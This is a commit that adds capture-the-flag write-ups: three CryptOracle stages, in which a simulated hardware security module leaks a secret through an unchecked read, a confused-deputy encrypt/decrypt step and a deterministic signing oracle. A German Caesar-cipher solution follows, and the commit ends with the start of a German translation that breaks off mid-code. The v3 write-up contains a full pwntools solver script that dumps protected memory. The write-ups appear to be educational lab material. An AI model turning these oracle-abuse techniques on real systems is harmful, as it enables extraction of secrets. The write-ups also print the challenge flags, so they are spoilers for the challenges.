Added writeups
This commit is contained in:
174
cryptoracle_v1.md
Normal file
174
cryptoracle_v1.md
Normal file
@@ -0,0 +1,174 @@
|
|||||||
|
# CryptOracle v1
|
||||||
|
|
||||||
|
`CryptOracle v1` is an introductory cryptography and reverse engineering challenge that simulates a Hardware Security Module (HSM). The objective is to retrieve a secret flag stored in a "secure" memory region that is supposedly isolated from the user.
|
||||||
|
|
||||||
|
## Information Gathering
|
||||||
|
|
||||||
|
We are provided with a `cryptOracle_v1.tar.xz` archive containing the `crypt_oracle_v1` binary. Initial analysis confirms it is a statically linked 64-bit ELF executable.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file crypt_oracle_v1
|
||||||
|
crypt_oracle_v1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ...
|
||||||
|
```
|
||||||
|
|
||||||
|
Upon connecting to the challenge server, we are greeted with the following interface:
|
||||||
|
|
||||||
|
```
|
||||||
|
CryptOracle v1.0
|
||||||
|
Setting up memory...
|
||||||
|
0x10000 - 0x11000 : Secure Memory (Keys/ROM)
|
||||||
|
0x20000 - 0x28000 : User Memory
|
||||||
|
Type 'help' for commands.
|
||||||
|
```
|
||||||
|
|
||||||
|
The challenge description hints that sensitive keys are stored at address `0x10000`.
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
We use Ghidra to analyze the binary and understand how it manages memory access.
|
||||||
|
|
||||||
|
### 1. Main Interaction Loop (`main`)
|
||||||
|
|
||||||
|
The `main` function initializes the HSM simulation and processes user commands.
|
||||||
|
|
||||||
|
```c
|
||||||
|
undefined8 main(void)
|
||||||
|
|
||||||
|
{
|
||||||
|
int iVar1;
|
||||||
|
char *pcVar2;
|
||||||
|
long in_FS_OFFSET;
|
||||||
|
undefined4 local_428;
|
||||||
|
undefined4 local_424;
|
||||||
|
undefined4 local_420;
|
||||||
|
undefined4 local_41c;
|
||||||
|
char local_418 [512];
|
||||||
|
undefined1 local_218 [520];
|
||||||
|
long local_10;
|
||||||
|
|
||||||
|
local_10 = *(long *)(in_FS_OFFSET + 0x28);
|
||||||
|
setvbuf((FILE *)stdout,(char *)0x0,2,0);
|
||||||
|
puts("CryptOracle v1.0");
|
||||||
|
setup_memory();
|
||||||
|
puts("Type \'help\' for commands.");
|
||||||
|
while( true ) {
|
||||||
|
pcVar2 = fgets(local_418,0x200,(FILE *)stdin);
|
||||||
|
if (pcVar2 == (char *)0x0) break;
|
||||||
|
iVar1 = strncmp(local_418,"rm",2);
|
||||||
|
if (iVar1 == 0) {
|
||||||
|
iVar1 = __isoc99_sscanf(local_418,"rm 0x%x %d",&local_420,&local_41c);
|
||||||
|
if (iVar1 == 2) {
|
||||||
|
do_read(local_420,local_41c);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// ... (other commands) ...
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The `rm` command takes a hexadecimal address and a decimal size, then calls the `do_read` function.
|
||||||
|
|
||||||
|
### 2. Memory Initialization (`setup_memory`)
|
||||||
|
|
||||||
|
The `setup_memory` function reveals where the flag is placed.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void setup_memory(void)
|
||||||
|
|
||||||
|
{
|
||||||
|
void *pvVar1;
|
||||||
|
FILE *__stream;
|
||||||
|
size_t sVar2;
|
||||||
|
|
||||||
|
puts("Setting up memory...");
|
||||||
|
pvVar1 = mmap64((void *)0x10000,0x1000,3,0x32,-1,0);
|
||||||
|
// ...
|
||||||
|
pvVar1 = mmap64((void *)0x20000,0x8000,3,0x32,-1,0);
|
||||||
|
// ...
|
||||||
|
memset((void *)0x10000,0,0x1000);
|
||||||
|
memset((void *)0x20000,0,0x8000);
|
||||||
|
__stream = fopen64("flag.bin","rb");
|
||||||
|
if (__stream != (FILE *)0x0) {
|
||||||
|
sVar2 = fread((void *)0x10000,1,0x800,__stream);
|
||||||
|
fclose(__stream);
|
||||||
|
// ...
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
// ...
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
We confirm that the flag from `flag.bin` is loaded directly into the "Secure Memory" region at `0x10000`.
|
||||||
|
|
||||||
|
### 3. Vulnerability Analysis (`get_ptr`)
|
||||||
|
|
||||||
|
The `do_read` function calls a helper called `get_ptr` to validate memory access before printing data.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void do_read(undefined4 param_1,undefined4 param_2)
|
||||||
|
|
||||||
|
{
|
||||||
|
long lVar1;
|
||||||
|
|
||||||
|
lVar1 = get_ptr(param_1,param_2,0);
|
||||||
|
if (lVar1 == 0) {
|
||||||
|
puts("ERR_ACCESS_VIOLATION");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
print_hex(lVar1,param_2);
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Now let\'s examine the logic in `get_ptr`:
|
||||||
|
|
||||||
|
```c
|
||||||
|
uint get_ptr(uint param_1,int param_2,int param_3)
|
||||||
|
|
||||||
|
{
|
||||||
|
// 1. Integer overflow check: ensure address + size doesn't wrap around
|
||||||
|
if (param_2 + param_1 < param_1) {
|
||||||
|
param_1 = 0;
|
||||||
|
}
|
||||||
|
// 2. Range Validation: check if access is within mapped regions
|
||||||
|
else if ((param_1 < 0x10000) || (0x11000 < param_2 + param_1)) {
|
||||||
|
// If not in Secure Memory (0x10000-0x11000), check User Memory (0x20000-0x28000)
|
||||||
|
if ((param_1 < 0x20000) || (0x28000 < param_2 + param_1)) {
|
||||||
|
param_1 = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 3. Security Check: block access to flag region (0x10000 - 0x10800)
|
||||||
|
// This is ONLY enforced if param_3 (check_secure) is non-zero
|
||||||
|
else if ((param_3 != 0) && (param_1 - 0x10000 < 0x800)) {
|
||||||
|
param_1 = 0;
|
||||||
|
}
|
||||||
|
return param_1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The validation logic in `get_ptr` works as follows:
|
||||||
|
1. **Integer Overflow**: It checks if `size + addr` overflows.
|
||||||
|
2. **Range Validation**: It ensures the access is within the Secure Memory (`0x10000-0x11000`) or User Memory (`0x20000-0x28000`).
|
||||||
|
3. **Secure Memory Restriction**: It explicitly blocks access to the first `0x800` bytes of Secure Memory (where the flag is stored) **ONLY IF** `param_3` (the `check_secure` flag) is non-zero.
|
||||||
|
|
||||||
|
Crucially, in the `do_read` function (which implements the `rm` command), the third argument passed to `get_ptr` is **hardcoded to `0`**. This means the specific check that protects the secret keys is bypassed when using the "read memory" command.
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
Because the `rm` command bypasses the isolation check in `get_ptr`, we can directly dump the secure RAM.
|
||||||
|
|
||||||
|
1. Connect to the server.
|
||||||
|
2. Read the memory at address `0x10000`.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
> rm 0x10000 32
|
||||||
|
00010000: 7b 66 6c 61 67 3a 20 74 68 61 74 5f 77 61 73 5f {flag: that_was_
|
||||||
|
00010010: 74 6f 6f 5f 65 61 73 79 5f 72 69 67 68 74 3f 7d too_easy_right?}
|
||||||
|
```
|
||||||
|
|
||||||
|
The flag is revealed: `{flag: that_was_too_easy_right?}`
|
||||||
|
|
||||||
|
```
|
||||||
133
cryptoracle_v2.md
Normal file
133
cryptoracle_v2.md
Normal file
@@ -0,0 +1,133 @@
|
|||||||
|
# CryptOracle v2
|
||||||
|
|
||||||
|
`CryptOracle v2` is the "Hardened" version of the HSM simulator. The direct memory read vulnerability from v1 has been fixed, but a new "Cryptographic Engine" has been added. The goal is the same: dump the secret key from the secure memory region at `0x10000`.
|
||||||
|
|
||||||
|
## Information Gathering
|
||||||
|
|
||||||
|
After connecting to the server, we see a familiar interface with new commands like `enc` and `dec`.
|
||||||
|
|
||||||
|
```
|
||||||
|
CryptOracle v2.0 (Hardened!)
|
||||||
|
Setting up memory...
|
||||||
|
0x10000 - 0x11000 : Secure Memory (Keys/ROM)
|
||||||
|
0x20000 - 0x28000 : User Memory
|
||||||
|
Type 'help' for commands.
|
||||||
|
```
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
We open the binary in Ghidra and check the functions that have changed.
|
||||||
|
|
||||||
|
### 1. The Patch (`do_read`)
|
||||||
|
|
||||||
|
The `do_read` function now includes an explicit check that blocks any attempt to read from addresses below the user memory region.
|
||||||
|
|
||||||
|
```c
|
||||||
|
void do_read(uint32_t offset,uint32_t len)
|
||||||
|
{
|
||||||
|
uint8_t *data;
|
||||||
|
|
||||||
|
// This check prevents us from reading 0x10000 directly.
|
||||||
|
if (offset < 0x20000) {
|
||||||
|
puts("ERR_ACCESS_VIOLATION");
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
// ... (rest of the function)
|
||||||
|
}
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The simple `rm 0x10000 32` from v1 will no longer work.
|
||||||
|
|
||||||
|
### 2. The Cryptographic Engine (`do_cipher`)
|
||||||
|
|
||||||
|
With the direct read vulnerability from v1 patched, we must now investigate other commands as a potential attack surface. The `enc` and `dec` commands, which were present before, now become our primary focus. They are handled by the `do_cipher` function. It allows encrypting or decrypting data from a source address to a destination address using a key stored in a secure "slot".
|
||||||
|
|
||||||
|
```c
|
||||||
|
void do_cipher(char mode, uint32_t src_off, uint32_t len, int slot, uint32_t dst_off)
|
||||||
|
{
|
||||||
|
// ...
|
||||||
|
// Get pointer to source buffer (can be anywhere)
|
||||||
|
src_ptr = get_ptr(src_off, len, 0);
|
||||||
|
|
||||||
|
// Get pointer to destination buffer (must be writable)
|
||||||
|
dst_ptr = get_ptr(dst_off, len, 1);
|
||||||
|
|
||||||
|
// Get pointer to the key from a secure slot
|
||||||
|
// Address is calculated as 0x10000 + slot * 32
|
||||||
|
key_ptr = get_ptr((slot + 0x800) * 0x20, 0x20, 0);
|
||||||
|
|
||||||
|
if (/* all pointers are valid */) {
|
||||||
|
// ... performs AES encryption/decryption block by block ...
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
The key insight is in how the pointers are validated, which all happens inside the `get_ptr` function.
|
||||||
|
|
||||||
|
### 3. Vulnerability Analysis (`get_ptr`)
|
||||||
|
|
||||||
|
Here is the decompiled `get_ptr` function from Ghidra. It takes an offset, a length, and a flag `is_write` that is `1` for write operations and `0` for read operations.
|
||||||
|
|
||||||
|
```c
|
||||||
|
uint8_t * get_ptr(uint32_t offset,uint32_t len,int is_write)
|
||||||
|
|
||||||
|
{
|
||||||
|
uint8_t *puVar1;
|
||||||
|
|
||||||
|
if (len + offset < offset) {
|
||||||
|
puVar1 = (uint8_t *)0x0;
|
||||||
|
}
|
||||||
|
else if ((offset < 0x10000) || (0x11000 < len + offset)) {
|
||||||
|
if ((offset < 0x20000) || (0x28000 < len + offset)) {
|
||||||
|
puVar1 = (uint8_t *)0x0;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
puVar1 = (uint8_t *)(ulong)offset;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ((is_write == 0) || (0x7ff < offset - 0x10000)) {
|
||||||
|
puVar1 = (uint8_t *)(ulong)offset;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
puVar1 = (uint8_t *)0x0;
|
||||||
|
}
|
||||||
|
return puVar1;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
**The Vulnerability:**
|
||||||
|
The logic in the final `else if` block is flawed. Let's trace it for a read operation (`is_write == 0`) on the secure flag region (`offset = 0x10000`).
|
||||||
|
* The expression is `(is_write == 0) || (0x7ff < offset - 0x10000)`.
|
||||||
|
* Since `is_write` is `0`, the first part of the OR `(0 == 0)` is **true**.
|
||||||
|
* The entire expression becomes `true`, and access is granted, returning a valid pointer.
|
||||||
|
|
||||||
|
The check that should prevent writing to the first 2KB of secure memory (`0x7ff < offset - 0x10000`) is completely bypassed for any read operation. The `do_cipher` function abuses this by requesting a read (`is_write=0`) on the secure flag, which `get_ptr` allows. This creates a **Confused Deputy** scenario, where we use the oracle's legitimate read permissions to exfiltrate data.
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
The attack is a two-step process:
|
||||||
|
|
||||||
|
1. **Encrypt**: Use the `enc` command to instruct the oracle to read from the secure flag region (`0x10000`) and write the encrypted result (ciphertext) into user-accessible memory (`0x20000`).
|
||||||
|
2. **Decrypt**: Use the `dec` command to instruct the oracle to read the ciphertext from user memory (`0x20000`) and write the decrypted result (plaintext) back into a different location in user memory (`0x20100`).
|
||||||
|
3. **Read**: Use the now-fixed `rm` command to read the plaintext flag from `0x20100`.
|
||||||
|
|
||||||
|
### Execution
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# Step 1: Encrypt the flag from secure memory to user memory
|
||||||
|
> enc 0x10000 32 30 0x20000
|
||||||
|
OK
|
||||||
|
|
||||||
|
# Step 2: Decrypt the ciphertext from user memory to another user memory location
|
||||||
|
> dec 0x20000 32 30 0x20100
|
||||||
|
OK
|
||||||
|
|
||||||
|
# Step 3: Read the plaintext flag from user memory
|
||||||
|
> rm 0x20100 32
|
||||||
|
00020100: 7b 66 6c 61 67 3a 20 73 65 6c 66 5f 65 6e 63 72 {flag: self_encr
|
||||||
|
00020110: 79 70 74 69 6f 6e 5f 69 73 5f 6e 69 63 65 21 7d yption_is_nice!}
|
||||||
|
```
|
||||||
|
|
||||||
|
The flag is revealed: `{flag: self_encryption_is_nice!}`
|
||||||
221
cryptoracle_v3.md
Normal file
221
cryptoracle_v3.md
Normal file
@@ -0,0 +1,221 @@
|
|||||||
|
# CryptOracle v3
|
||||||
|
|
||||||
|
`CryptOracle v3` is the "Gold Master" release of the HSM simulator. The vulnerabilities from v1 (direct read) and v2 (confused deputy) have been patched. The challenge is to find the new vulnerability in the cryptographic functions to dump the secret flag.
|
||||||
|
|
||||||
|
## Information Gathering
|
||||||
|
|
||||||
|
After connecting to the server, we see a familiar interface:
|
||||||
|
|
||||||
|
```
|
||||||
|
CryptOracle v3.0 (Bullet proof!)
|
||||||
|
...
|
||||||
|
Type 'help' for commands.
|
||||||
|
```
|
||||||
|
|
||||||
|
The binary is not stripped, which helps our analysis in Ghidra.
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
### 1. The Patches
|
||||||
|
|
||||||
|
First, we verify the fixes.
|
||||||
|
- **`do_read`**: Still has the check `if (offset < 0x20000)`, blocking direct reads of secure memory.
|
||||||
|
- **`get_ptr`**: Now has a fourth `is_privileged` argument. We find that `do_cipher` (for `enc` and `dec`) calls `get_ptr` with `is_privileged=0`, meaning it can no longer access secure memory at all. The confused deputy attack is fixed.
|
||||||
|
|
||||||
|
### 2. The New Attack Surface (`do_sign`)
|
||||||
|
|
||||||
|
The challenge description hints that the `sig` command is our new focus. The `do_sign` function is called, and unlike `do_cipher`, it *is* privileged.
|
||||||
|
|
||||||
|
```c
|
||||||
|
/* Decompiled do_sign function */
|
||||||
|
void do_sign(uint32_t src_off, uint32_t len, int slot, uint32_t dst_off)
|
||||||
|
{
|
||||||
|
long lVar1;
|
||||||
|
uint8_t *src_ptr;
|
||||||
|
uint8_t *dst_ptr;
|
||||||
|
uint8_t *key_ptr;
|
||||||
|
AES_KEY k;
|
||||||
|
uint8_t block [16]; // A 16-byte buffer on the stack
|
||||||
|
|
||||||
|
// All pointers are requested with privileged access (last argument is 1)
|
||||||
|
src_ptr = get_ptr(src_off, len, 0, 1);
|
||||||
|
dst_ptr = get_ptr(dst_off, 0x10, 1, 1);
|
||||||
|
key_ptr = get_ptr((slot + 0x800) * 0x20, 0x20, 0, 1);
|
||||||
|
|
||||||
|
if (/* pointers are valid */) {
|
||||||
|
AES_set_encrypt_key(key_ptr, 0x80, &k);
|
||||||
|
|
||||||
|
// The stack buffer is zeroed out
|
||||||
|
memset(block, 0, 0x10);
|
||||||
|
|
||||||
|
// The input length is capped at 16 bytes
|
||||||
|
if (0x10 < len) {
|
||||||
|
len = 0x10;
|
||||||
|
}
|
||||||
|
|
||||||
|
// The (up to) 16 bytes from the source are copied into the block
|
||||||
|
memcpy(block, src_ptr, (ulong)len);
|
||||||
|
|
||||||
|
// The block is encrypted and written to the destination
|
||||||
|
AES_encrypt(block, dst_ptr, &k);
|
||||||
|
puts("OK");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
Key findings from `do_sign`:
|
||||||
|
1. **Privileged**: It can read from anywhere, including the secret flag at `0x10000`.
|
||||||
|
2. **Deterministic**: The "signing" is just AES ECB encryption. For a given key and a given input block, the output is always the same.
|
||||||
|
3. **Padding**: The function takes up to 16 bytes of input, copies it into a zero-padded 16-byte block, and then encrypts the block. This is crucial: `sig` on a single byte `X` is effectively `Enc(Key, [X, 0, 0, ...])`.
|
||||||
|
|
||||||
|
### 3. The Vulnerability: Deterministic Oracle
|
||||||
|
|
||||||
|
Because the signing is deterministic, we can use it as an **encryption oracle**. We can ask it to "sign" (encrypt) any data we want using one of the master keys (e.g., slot 0). If we encrypt every possible byte from 0-255, we can build a lookup table mapping the original byte to its signature.
|
||||||
|
|
||||||
|
This allows for a classic **Rainbow Table** attack.
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
The attack has two phases:
|
||||||
|
|
||||||
|
1. **Build a Rainbow Table**:
|
||||||
|
* Iterate through all 256 possible byte values.
|
||||||
|
* For each byte, write it to user memory (e.g., `0x20000`).
|
||||||
|
* Use the `sig` command with a master key (slot 0) to encrypt that single byte.
|
||||||
|
* Read the 16-byte signature from the output buffer.
|
||||||
|
* Store the `signature -> byte` mapping.
|
||||||
|
|
||||||
|
2. **Dump Secure Memory**:
|
||||||
|
* Iterate through the addresses of the secret flag (`0x10000`, `0x10001`, etc.).
|
||||||
|
* For each address, use the `sig` command to get the signature of the single secret byte at that address.
|
||||||
|
* Look up the resulting signature in our rainbow table to find the original secret byte.
|
||||||
|
|
||||||
|
### Step-by-Step Execution
|
||||||
|
|
||||||
|
Here's how we would manually perform the lookup for the first byte of the flag.
|
||||||
|
|
||||||
|
**1. Build table for a known byte, e.g., 'A' (0x41)**
|
||||||
|
```bash
|
||||||
|
# Write 'A' to user memory
|
||||||
|
> wm 0x20000 1 41
|
||||||
|
OK
|
||||||
|
|
||||||
|
# Sign that byte with the master key in slot 0
|
||||||
|
> sig 0x20000 1 0 0x20100
|
||||||
|
OK
|
||||||
|
|
||||||
|
# Read the signature
|
||||||
|
> rm 0x20100 16
|
||||||
|
00020100: d85de6195410...
|
||||||
|
```
|
||||||
|
Now we know that the signature `d85de6...` corresponds to the plaintext byte `A`. We repeat this for all 256 bytes.
|
||||||
|
|
||||||
|
**2. Get signature of the first secret byte**
|
||||||
|
```bash
|
||||||
|
# Sign the byte at the start of the secure region
|
||||||
|
> sig 0x10000 1 0 0x20100
|
||||||
|
OK
|
||||||
|
|
||||||
|
# Read its signature
|
||||||
|
> rm 0x20100 16
|
||||||
|
00020100: 555c441c2...
|
||||||
|
```
|
||||||
|
|
||||||
|
**3. Lookup and repeat**
|
||||||
|
We find which plaintext byte corresponds to the signature `555c44...` in our pre-built table. This reveals the first byte of the flag. We repeat this for all 32 bytes to dump the entire flag.
|
||||||
|
|
||||||
|
### Final Solver Script
|
||||||
|
|
||||||
|
The `solve.py` script automates this entire process.
|
||||||
|
|
||||||
|
```python
|
||||||
|
from pwn import *
|
||||||
|
import sys
|
||||||
|
|
||||||
|
# --- Configuration ---
|
||||||
|
HOST = '192.168.178.46'
|
||||||
|
PORT = 1339
|
||||||
|
|
||||||
|
# Memory Map (Matches v6.0)
|
||||||
|
SECRET_BASE = 0x10000
|
||||||
|
USER_BASE = 0x20000
|
||||||
|
USER_SCRATCH = USER_BASE + 0x200
|
||||||
|
|
||||||
|
def solve():
|
||||||
|
io = remote(HOST, PORT)
|
||||||
|
io.recvuntil(b"Type 'help' for commands.\n")
|
||||||
|
log.info(f"Connected. dumping memory from 0x{SECRET_BASE:x}...")
|
||||||
|
|
||||||
|
# --- Phase 1: Build Rainbow Table (0x00 - 0xFF) ---
|
||||||
|
log.info("Phase 1: Building Rainbow Table...")
|
||||||
|
rainbow_table = {}
|
||||||
|
|
||||||
|
# Create a progress bar
|
||||||
|
prog = log.progress("Mapping")
|
||||||
|
|
||||||
|
for b in range(256):
|
||||||
|
byte_hex = f"{b:02x}"
|
||||||
|
|
||||||
|
# 1. Write byte to User Memory
|
||||||
|
io.sendline(f"wm 0x{USER_BASE:x} 1 {byte_hex}".encode())
|
||||||
|
io.recvuntil(b"OK\n")
|
||||||
|
|
||||||
|
# 2. Sign it using Slot 0 (Output to scratch)
|
||||||
|
io.sendline(f"sig 0x{USER_BASE:x} 1 0 0x{USER_SCRATCH:x}".encode())
|
||||||
|
io.recvuntil(b"OK\n")
|
||||||
|
|
||||||
|
# 3. Read the signature
|
||||||
|
io.sendline(f"rm 0x{USER_SCRATCH:x} 16".encode())
|
||||||
|
signature = io.recvline().strip().decode()
|
||||||
|
|
||||||
|
rainbow_table[signature] = b # Store integer value
|
||||||
|
|
||||||
|
if b % 32 == 0: prog.status(f"{b}/255")
|
||||||
|
|
||||||
|
prog.success(f"Done. ({len(rainbow_table)} entries)")
|
||||||
|
|
||||||
|
# --- Phase 2: Dump Secure Memory ---
|
||||||
|
log.info("Phase 2: Dumping first 64 bytes of Secure Memory...")
|
||||||
|
|
||||||
|
dumped_bytes = []
|
||||||
|
|
||||||
|
for i in range(64):
|
||||||
|
target_addr = SECRET_BASE + i
|
||||||
|
|
||||||
|
# 1. Exploit: Sign byte from Secret Memory -> User Memory
|
||||||
|
io.sendline(f"sig 0x{target_addr:x} 1 0 0x{USER_SCRATCH:x}".encode())
|
||||||
|
|
||||||
|
# Check if the server is happy
|
||||||
|
resp = io.recvline().strip().decode()
|
||||||
|
if resp != "OK":
|
||||||
|
log.error(f"Server Error at offset {i}: {resp}")
|
||||||
|
break
|
||||||
|
|
||||||
|
# 2. Read the signature
|
||||||
|
io.sendline(f"rm 0x{USER_SCRATCH:x} 16".encode())
|
||||||
|
secret_sig = io.recvline().strip().decode()
|
||||||
|
|
||||||
|
# 3. Lookup
|
||||||
|
if secret_sig in rainbow_table:
|
||||||
|
val = rainbow_table[secret_sig]
|
||||||
|
dumped_bytes.append(val)
|
||||||
|
# Live print as hex
|
||||||
|
print(f"{val:02x} ", end='', flush=True)
|
||||||
|
else:
|
||||||
|
print("?? ", end='', flush=True)
|
||||||
|
dumped_bytes.append(0) # Placeholder
|
||||||
|
|
||||||
|
print("\n")
|
||||||
|
|
||||||
|
# Print ASCII representation
|
||||||
|
ascii_repr = "".join([chr(b) if 32 <= b <= 126 else '.' for b in dumped_bytes])
|
||||||
|
log.success(f"Dump (ASCII): {ascii_repr}")
|
||||||
|
|
||||||
|
io.close()
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
solve()
|
||||||
|
```
|
||||||
|
|
||||||
|
Running the script gives the flag:
|
||||||
|
`{flag: mapped_memory_is_unsafe!}`
|
||||||
72
de/brutus.md
Normal file
72
de/brutus.md
Normal file
@@ -0,0 +1,72 @@
|
|||||||
|
# Brutus
|
||||||
|
|
||||||
|
Salvete! Willkommen zum Write-up für Brutus. Dies ist eine klassische "Cry" (Kryptographie) Challenge, die eine der ältesten und berühmtesten Verschlüsselungstechniken einführt: die Caesar-Chiffre.
|
||||||
|
|
||||||
|
In dieser Challenge erhalten wir eine mysteriöse Nachricht und einige Python-Skripte. Das Ziel ist es, die Nachricht zu entschlüsseln, um die Flagge zu finden.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Erste Analyse
|
||||||
|
|
||||||
|
Wir bekommen einen kurzen lateinischen Satz und eine flaggenartige Zeichenkette präsentiert.
|
||||||
|
|
||||||
|
Der Satz "Ultimum scriptum arcanum a Caesare ad Brutum" übersetzt sich zu "Die letzte geheime Nachricht von Caesar an Brutus."
|
||||||
|
|
||||||
|
Die explizite Erwähnung von Caesar ist hier der primäre Hinweis. Im Kontext von Kryptographie-Challenges deutet dies fast immer auf die Caesar-Chiffre hin, eine der einfachsten und bekanntesten Substitutionschiffren.
|
||||||
|
|
||||||
|
## 2. Identifizierung der Verschiebung
|
||||||
|
|
||||||
|
Eine Caesar-Chiffre funktioniert, indem jeder Buchstabe im Alphabet um eine feste Anzahl von Positionen (den "Schlüssel") verschoben wird. Um sie zu lösen, müssen wir diese Zahl finden.
|
||||||
|
|
||||||
|
Wir können uns die Struktur des bereitgestellten Geheimtextes ansehen:
|
||||||
|
{xdsy: Uswksj_Wl_Tjmlmk_Seaua_Xava}
|
||||||
|
|
||||||
|
Die meisten CTF-Challenges folgen einem Standard-Flaggenformat, wie z.B. {flag: ...} oder flag{...}.
|
||||||
|
Es ist höchstwahrscheinlich, dass das Geheimtext-Präfix {xdsy: dem Klartext {flag: entspricht.
|
||||||
|
|
||||||
|
Vergleichen wir die Buchstaben, um die Verschiebung zu berechnen:
|
||||||
|
|
||||||
|
* x $\rightarrow$ f
|
||||||
|
* d $\rightarrow$ l
|
||||||
|
* s $\rightarrow$ a
|
||||||
|
* y $\rightarrow$ g
|
||||||
|
|
||||||
|
Überprüfen wir den Abstand zwischen diesen Buchstaben im Alphabet:
|
||||||
|
|
||||||
|
1. x (24) zu f (6):
|
||||||
|
* Um von X nach F zu kommen, gehen wir einmal um das Alphabet herum.
|
||||||
|
* X $\rightarrow$ Y $\rightarrow$ Z $\rightarrow$ A $\rightarrow$ B $\rightarrow$ C $\rightarrow$ D $\rightarrow$ E $\rightarrow$ F
|
||||||
|
* Das ist eine Verschiebung von +8.
|
||||||
|
|
||||||
|
2. d (4) zu l (12):
|
||||||
|
* 4 + 8 = 12.
|
||||||
|
* Das ist ebenfalls eine Verschiebung von +8.
|
||||||
|
|
||||||
|
Das Muster bestätigt, dass der Entschlüsselungsschlüssel eine Rechtsverschiebung von 8 (ROT+8) ist.
|
||||||
|
|
||||||
|
(Hinweis: Das bedeutet, die Nachricht wurde ursprünglich mit einer Linksverschiebung von 8 verschlüsselt).
|
||||||
|
|
||||||
|
## 3. Entschlüsselung
|
||||||
|
|
||||||
|
Nun wenden wir eine +8 Verschiebung auf den Rest des Geheimtextes an: Uswksj_Wl_Tjmlmk_Seaua_Xava
|
||||||
|
|
||||||
|
* U (+8) $\rightarrow$ C
|
||||||
|
* s (+8) $\rightarrow$ a
|
||||||
|
* w (+8) $\rightarrow$ e
|
||||||
|
* k (+8) $\rightarrow$ s
|
||||||
|
* s (+8) $\rightarrow$ a
|
||||||
|
* j (+8) $\rightarrow$ r
|
||||||
|
* ...und so weiter.
|
||||||
|
|
||||||
|
Sie können dies manuell durchführen oder ein Online-Tool wie CyberChef (mit "ROT13" und einer Anzahl von 8) oder dcode.fr verwenden.
|
||||||
|
|
||||||
|
Geheimtext: Uswksj_Wl_Tjmlmk_Seaua_Xava
|
||||||
|
Klartext: Caesar_Et_Brutus_Amici_Fidi
|
||||||
|
|
||||||
|
## 4. Die Lösung
|
||||||
|
|
||||||
|
Kombinieren wir die Teile, erhalten wir die vollständige Flagge:
|
||||||
|
|
||||||
|
{flag: Caesar_Et_Brutus_Amici_Fidi}
|
||||||
|
|
||||||
|
("Caesar und Brutus treue Freunde" - eine etwas ironische Flagge angesichts der historischen Ereignisse!)
|
||||||
174
de/cryptoracle_v1.md
Normal file
174
de/cryptoracle_v1.md
Normal file
@@ -0,0 +1,174 @@
|
|||||||
|
# CryptOracle v1
|
||||||
|
|
||||||
|
`CryptOracle v1` ist eine einführende Challenge in Kryptographie und Reverse Engineering, die ein Hardware-Sicherheitsmodul (HSM) simuliert. Das Ziel ist es, eine geheime Flagge abzurufen, die in einem "sicheren" Speicherbereich gespeichert ist, der angeblich vom Benutzer isoliert ist.
|
||||||
|
|
||||||
|
## Informationsbeschaffung
|
||||||
|
|
||||||
|
Wir erhalten ein `cryptOracle_v1.tar.xz` Archiv, das die `crypt_oracle_v1` Binärdatei enthält. Eine erste Analyse bestätigt, dass es sich um eine statisch gelinkte 64-Bit ELF ausführbare Datei handelt.
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ file crypt_oracle_v1
|
||||||
|
crypt_oracle_v1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, ...
|
||||||
|
```
|
||||||
|
|
||||||
|
Beim Verbinden mit dem Challenge-Server werden wir mit der folgenden Oberfläche begrüßt:
|
||||||
|
|
||||||
|
```
|
||||||
|
CryptOracle v1.0
|
||||||
|
Setting up memory...
|
||||||
|
0x10000 - 0x11000 : Secure Memory (Keys/ROM)
|
||||||
|
0x20000 - 0x28000 : User Memory
|
||||||
|
Type 'help' for commands.
|
||||||
|
```
|
||||||
|
|
||||||
|
Die Challenge-Beschreibung deutet an, dass sensible Schlüssel an der Adresse `0x10000` gespeichert sind.
|
||||||
|
|
||||||
|
## Reverse Engineering
|
||||||
|
|
||||||
|
Wir verwenden Ghidra, um die Binärdatei zu analysieren und zu verstehen, wie sie den Speicherzugriff verwaltet.
|
||||||
|
|
||||||
|
### 1. Hauptinteraktionsschleife (`main`)
|
||||||
|
|
||||||
|
Die `main`-Funktion initialisiert die HSM-Simulation und verarbeitet Benutzerbefehle.
|
||||||
|
|
||||||
|
```c
|
||||||
|
undefined8 main(void)
|
||||||
|
|
||||||
|
{
|
||||||
|
int iVar1;
|
||||||
|
char *pcVar2;
|
||||||
|
long in_FS_OFFSET;
|
||||||
|
undefined4 local_428;
|
||||||
|
undefined4 local_424;
|
||||||
|
undefined4 local_420;
|
||||||
|
undefined4 local_41c;
|
